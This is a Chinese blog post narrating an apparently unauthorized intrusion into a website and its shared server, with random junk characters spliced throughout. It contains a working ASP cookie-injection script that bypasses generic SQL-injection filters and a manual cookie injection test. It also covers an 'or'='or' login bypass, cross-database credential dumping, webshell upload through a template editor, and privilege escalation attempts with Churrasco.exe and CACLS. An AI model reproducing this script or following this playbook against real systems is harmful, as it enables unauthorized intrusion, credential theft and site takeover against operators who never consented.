多思路WEB入侵
[IU-S `2[@0目标是一个N个月之前就搞定过的一个站点,当时搞定它很简单,就是注入备份得WEBSHELL。这次由于某种原因又需要尝试一次。由于N久没看过这个网站了,打开后发现整个网站全部改版了,已经不再是之前的那套程序了,首页一眼望去全是HMTL网页,这下没法注了…还是尝试百度一下吧。
u$vvR/~Z]W2E0打开百度搜索:ASP www.xxx.org
_;a|4Y!m2A0从搜索结果中找了些ASP页面并逐一进行了手工注入判断,结果发现网站使用通用防注入程序,以前遇到这样的我就直接放弃不搞了,但这次得硬啃了IXPUB技术博客hSY#TZd9S
]2^
IXPUB技术博客| \3pH:~d PBo
T4Bruc0@P
H3Z0依稀记得看到过某人写过绕过通用防注入系统继续注入的文章,百度了一下没找到那篇文章,但是却找到了《cookie注入绕过SQL通用防注入程序》,原文如下:
e%Op"Cm(x(L"g0目前世面上大部分防注入程序都没有对cookie注入进行预防,虽然cookie手工注入麻烦了点,但对于有耐性的人来说,还是可以得到后台密码的,如果是MSSQL数据库,那么就更简单了。所以本文的目的就是用工具来代替手工进行cookie注入~~,手工方法如下:比如网址如下http://zzz.com/cplb.ASP?id=46,对GET以及POST提交的数据都进行了检测,也没办法饶过。首先打开上面的地址,再清空地址栏,输入javascript.:alert(document.cookie="id="+escape("46 and 1=2")),再输入http://zzz.com/cplb.ASP,页面返回错误,说明有希望;提交javascript.:alert(document.cookie="id="+escape("46 and 1=1")),最后输入http://zzz.com/cplb.ASP,这次返回完全正常;可以确定存在cookie注入。以下代码来自寂寞的刺猬[L.S.T],脚本高手啊~~
-Cr-e\Q!m0k0
&O(u*H@ v$yK0IXPUB技术博客e*x{)E
S%j!b5N
| <%IXPUB技术博客"d2j,P,Mt
B cookname=request("jmdcw")IXPUB技术博客j#Zq?T k cookname=escape(cookname) fQ*M$l'MS5l8w%ev0jmstr="id="&cookname ’存在注入的变量 H+eO7Pc8{0jmstr=replace(jmstr,chr(32),"%20")IXPUB技术博客!wWwF%d jmstr=replace(jmstr,chr(43),"%2b") 8X[Z(i"G.T^h7e r0 IXPUB技术博客~ \wK JsJ ’//以下三行需要修改,Cookies值可以用Domain3.5浏览下就得到了~~IXPUB技术博客~U3Gli%Q jmurl="http://zzz.com/cplb.ASP" ’存在注入的网址 ttW3O)p#LR,G(]+h@0jmref="http://zzz.com/index.ASP" ’来源地址 7M)UK;EN:KF0jmcok="ASPSESSIONIDCQTAQBSQ=ALGDAPNDKCOHJNDCAMOHDHLK" d/T.k(S)q!u7@0 IXPUB技术博客9} k^zUYK7u jmcok=jmcok& ";"&jmstr&";"IXPUB技术博客 il5\c(K.Fc response.write postdata(jmurl,jmcok,jmref)IXPUB技术博客uH7B3FH)QGd function postdata(posturl,postcok,postref) -B0| a8I.W GK0dim httpIXPUB技术博客 ?7~xTQ set http=server.createobject("msxml2.serverxmlhttp")IXPUB技术博客(I `(Y"W!U with http J&rs UdU_0.open "POST",posturl,falseIXPUB技术博客 EE$WD#^(k8o9r {N .setRequestheader "content-type","application/x-www-form-urlencoded" /^bE T dBq0.setrequestheader "referer",postrefIXPUB技术博客[Cs3J+V!`^ .setrequestheader "cookie",postcok ’提交cookie值IXPUB技术博客 C o8V Qtr6k W)Q .send() ’发送数据IXPUB技术博客.N6Ks{2bt z postdata=.responsebody ’得到返回的二进制信息 VsICI0{V L H0end with x9ujV9o9sFk0set http=nothingIXPUB技术博客)t#U0|ll1d postdata=bytes2BSTR(postdata) ’转换二进制流 "kV \Rb i0end functionIXPUB技术博客#rMGW8Ou"o{ o!~N/K~h0function bytes2BSTR(vin) t.^-H$K~&L0dim strReturn J;h+~G)ash0dim i,thischarcode,nextcharcode &FG HC+R I0V0strReturn="" 3c-b7b7^ l%l n] x4Ie0for i=1 to lenB(vin)IXPUB技术博客,X2Jv@cr0C&T thischarcode=ascB(midB(vin,1,1)) iz8l4y]!p~!M9K0if thischarcode<&H80 then jW9]2b[*t0strReturn=strReturn&chr(thischarcode) &Y/kU3fU9Q0else c"T3Q Qqt4QzYD6_0nextcharcode=ascB(midB(vin,1+1,1))IXPUB技术博客-T E4^#T+_ strReturn=strReturn&chr(clng(thischarcode) * &H100+cint(nextcharcode))IXPUB技术博客+{9[B7C `2s i=i+1IXPUB技术博客Fd8LD}4XV$]~ end if Y:rl'X3^qf0nextIXPUB技术博客]/`n.a)Q)A bytes2BSTR=strReturn 4{6gT Nb(gH4^0end functionIXPUB技术博客f8Pdr)DL ycKL.] %> !N0J?d!L0<%cookname=request("jmdcw")cookname=escape(cookname)jmstr="id="&cookname ’存在注入的变量jmstr=replace(jmstr,chr(32),"%20")jmstr=replace(jmstr,chr(43),"%2b")’//以下三行需要修改,Cookies值可以用Domain3.5浏览下就得到了~~jmurl="http://zzz.com/cplb.ASP" ’存在注入的网址jmref="http://zzz.com/index.ASP" ’来源地址jmcok="ASPSESSIONIDCQTAQBSQ=ALGDAPNDKCOHJNDCAMOHDHLK"jmcok=jmcok& ";"&jmstr&";"response.write postdata(jmurl,jmcok,jmref)function postdata(posturl,postcok,postref)dim httpset http=server.createobject("msxml2.serverxmlhttp")with http.open "POST",posturl,false.setRequestheader "content-type","application/x-www-form-urlencoded".setrequestheader "referer",postref.setrequestheader "cookie",postcok ’提交cookie值.send() ’发送数据postdata=.responsebody ’得到返回的二进制信息end withset http=nothingpostdata=bytes2BSTR(postdata) ’转换二进制流end functionfunction bytes2BSTR(vin)dim strReturndim i,thischarcode,nextcharcodestrReturn=""for i=1 to lenB(vin)thischarcode=ascB(midB(vin,1,1))if thischarcode<&H80 thenstrReturn=strReturn&chr(thischarcode)elsenextcharcode=ascB(midB(vin,1+1,1))strReturn=strReturn&chr(clng(thischarcode) * &H100+cint(nextcharcode))i=i+1end ifnextbytes2BSTR=strReturnend function%> |
(j1GB|
Pk0
6M Py
RP%Y6F
d,e}c;b N3@+O;T2q4Q0等了几分钟才终于显示出可以注入的迹象。
'x%p \cb!F%B+]0IXPUB技术博客6s@*M+W7U p4AMb9f
,g*l:\/LpYZ.K0看到权限是DB_OWNER一下子就觉得胜利在即了,赶紧找WEB路径。不知道为什么当罗列目录的时候就直接卡到那半天不动了,以为是自己机子和网速的问题,于是放到台服务器上面去跑,可是结果同样没反应,至此决定另寻他法了。IXPUB技术博客g#Aap,v5b
记得当初这个服务器上只有这么一个网站,不知道过了这么久有没有新增什么网站上去。于是ping域名得到服务器IP,先习惯性的直接在浏览器中访问了一下服务器的IP,结果弹出一个英文网站来,一看是ASP的便立刻动手找注入,检查完所能发现的所有链接结果找到了一个注入点。利用这个注入点顺利的列出了目录并找到了目标站所在的物理目录。这下该可以备份到WEBSHELL了吧!可是执行了N便备份,在目录中均未备份出SHELL来,普通备份和LOG备份结果都是一个样。晕倒…没办法,再换一个思路吧。IXPUB技术博客(fhM/oFE @7[
刚才列出的目录中看到了很多个以域名命名的文件夹,有经验的人都应该知道这个是部署网站的一些习惯,也就是说这些网站也是运行在这台服务器上的。那么目前我们主要的任务就是拿到一个WEBSHELL了。一个个的翻了一下这些文件夹,发现其中一个网站使用了ewebeditor且一切都是默认的,可是访问其登录页时却是一片空白,看样子是文件在但是内容被删了。一条入侵途径又没了,再换…IXPUB技术博客#x?"a)a$X/t&p
跨库直接查目标站的管理帐号和密码吧,然后从它后台看看有没有办法搞到WEBSHELL,可是结果却是什么表都查不出来。这个库不行那就换一个网站的库,只要能拿到当前服务器上任何一个网站的SHELL就行。经过耐心等待,终于查出了另一个站的9个管理帐号和及密码,然而密码能破出来的只有那么几个,经过逐一登录测试,发现均无法得到WEBSHELL。至此再次失败,继续换思路。IXPUB技术博客pcK{wz
漫无边际的翻着网站目录,突然发现有一站点是ACCESS数据库,并找到数据库文件的路径。直接URL访问数据库之后发现提示下载,管理员表中仅有一条数据,得到MD5加密后的密码,在线破解再次失败。IXPUB技术博客-no9@n)]4Sm-Pc9@
服务器上算上目标站共有4个站,又一次郁闷的逐一浏览着这4个站点的各个页面。突然想到在管理登录页用’or’=’or’登录试试,结果在刚才那个用ACCESS做数据库的网站中成功登录到后台…真是头大了…之前害我那么费事…
,K"af7T @'kr;e.^0
IXPUB技术博客Ke:~X9c(Bstsi
进入后台后通过上传图片失败,也没有数据库备份。这时,那个红色的模板管理引起了我的兴趣,点开一看,兴奋啊!可以添加、编辑、删除…ASP文件。通过这里顺利的拿到了WEBSHELL。
bu&i&T/NL3S0
8a\#Oa]g^p0
IXPUB技术博客l1R'\)y7J1{Z
{cO ?$^ N0大概浏览了一下环境。IXPUB技术博客RzF#K*z!m
1. C盘可浏览(某些文件夹除外),不可写,不可复制等。IXPUB技术博客dQ*Y6`?@7_'l N
2. 当前站点目录可浏览(汗~这不废话)。IXPUB技术博客1D(Y#Y%[d2`1w
3. 不可执行CMD,WSCRIPT.SHELL未删除。
.U7SZ;h#~"?-Y04. Serv_u为6.0版,端口也开放了,但提权失败。
7y(Fc8H
pI$_0几经测试认为没戏了,但看到有ASP.NET用户组,于是传了个ASPX上去。唯独可以执行一些DOS命令,whoami返回信息为nt authority\network service,又遇到了可以执行命令但是不能加帐户的问题,于是上传了最近刚出的Churrasco.exe(Churrasco提权可参考http://www.ineeke.cn/archives/ChurrascoHackerTool/),本来把握十足,可是执行后什么也没显示,看来是失败了。
IXPUB技术博客/bRE\6r

Nt-R}dfo3b,N0这时想起来了CACLS,(CACLS提权方法可参考http://www.ineeke.cn/archives/302/)尝试让everyone组拥有所有权限,执行结果看上去好像是失败了。此时我可真是没辙了,关了浏览器闲聊了一会QQ,过了一会又登了进去,再次翻翻所能浏览的目录,想找找有没有管理员疏忽留下的什么东西,有点烦了,手点的快了点,点到了该站点的父目录,之前试的时候是没戏的,这时令我意想不到的事发生了,竟然成功跳进去了,哇哦,貌似我的人品突然爆发了,也可能是长相问题。看到了目标站的目录,小心翼翼的点了一下它,结果也进去了,抓紧时间赶紧扔进去了一个SHELL。至此,此次入侵任务算是成功完成,有人说那还有系统权限呢,可是我们这次的最终目的仅仅只是要目标站的WEBSHELL。
uRR$t

